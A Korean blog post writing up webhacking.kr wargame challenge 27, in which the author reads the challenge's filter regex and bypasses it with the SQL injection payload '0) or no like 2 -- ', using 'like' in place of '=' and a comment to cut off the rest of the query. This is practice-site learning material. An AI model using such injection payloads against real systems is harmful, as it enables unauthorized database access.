티스토리 뷰

웹해킹 공부(webhacking.kr)

webhacking.kr 27번

라이크나우 2018. 5. 27. 20:21

말투 넘 오타쿠같아..이제 좀 정상적으로 써보겠습니다..

 

sql injection! 저번에 해봤다고 자신감 붙은채로 시작!

 

하튼 일단 소스를 보니 index.phps가 주석처리 되어있길래 주소 옆에 /index.phps 를 쳐서 보았다.

 

#|union|from|challenge|select|\(|\t|/|limit|=|0x

 

# union from challenge select \( \t \ / limit = 0x 즉 or 로 연결된 단어(?)들은 no에 들어가면 no hack 되어버린다.

 

공백같은거 쓰지 말라고 하는 듯 하다.

 

아무거나 넣어보다가 1을 넣으니 guest라고 뜨는걸 발견!

 

그럼 저번과 비슷하게 2가 admin에 접근할 수 있는 no 값 인듯 하다.

 

그런데 =가 들어가면 no hack이 떠버리므로 no=2는 안되고 대신 no like 2 라고 적어주어야한다.

 

$q=@mysql_fetch_array(mysql_query("select id from challenge27_table where id='guest' and no=($_GET[no])")) or die("query error");

 

앞의 no 값에 1을 제외한 수를 넣어주고 앞의 문장을 무력화 시키 후 no=2 가 되도록 해주어야하는데..

 

0) or no like 2 를입력해 ("select id from challenge27_table where id='guest' and no=(0) or no =2 )") or die ("query error") 이 되게끔 해주면 되는데 뒤에 문장들은 주석처리해서 없애버린다 --는 주석처리가 되도록 하고 앞뒤에 꼭 공백을 넣어주어야한다고 한다!

 

즉 0) or no like 2 -- 를 입력해서 ("select id from challenge27_table where id='guest' and no=(0) or no =2 )") -- or die ("query error")

 

 

가 되어 뒤에가 주석처리!

 

2가 맞았으므로 바로 해결!

 

 

 

'웹해킹 공부(webhacking.kr)' 카테고리의 다른 글

webhacking.kr 58번  (1) 2018.06.03
webhacking.kr 31번  (1) 2018.05.27
webhacking.kr 25번  (0) 2018.05.21
webhacking.kr 54번  (0) 2018.05.21
webhacking.kr 39번  (0) 2018.05.14
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2025/04   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30
글 보관함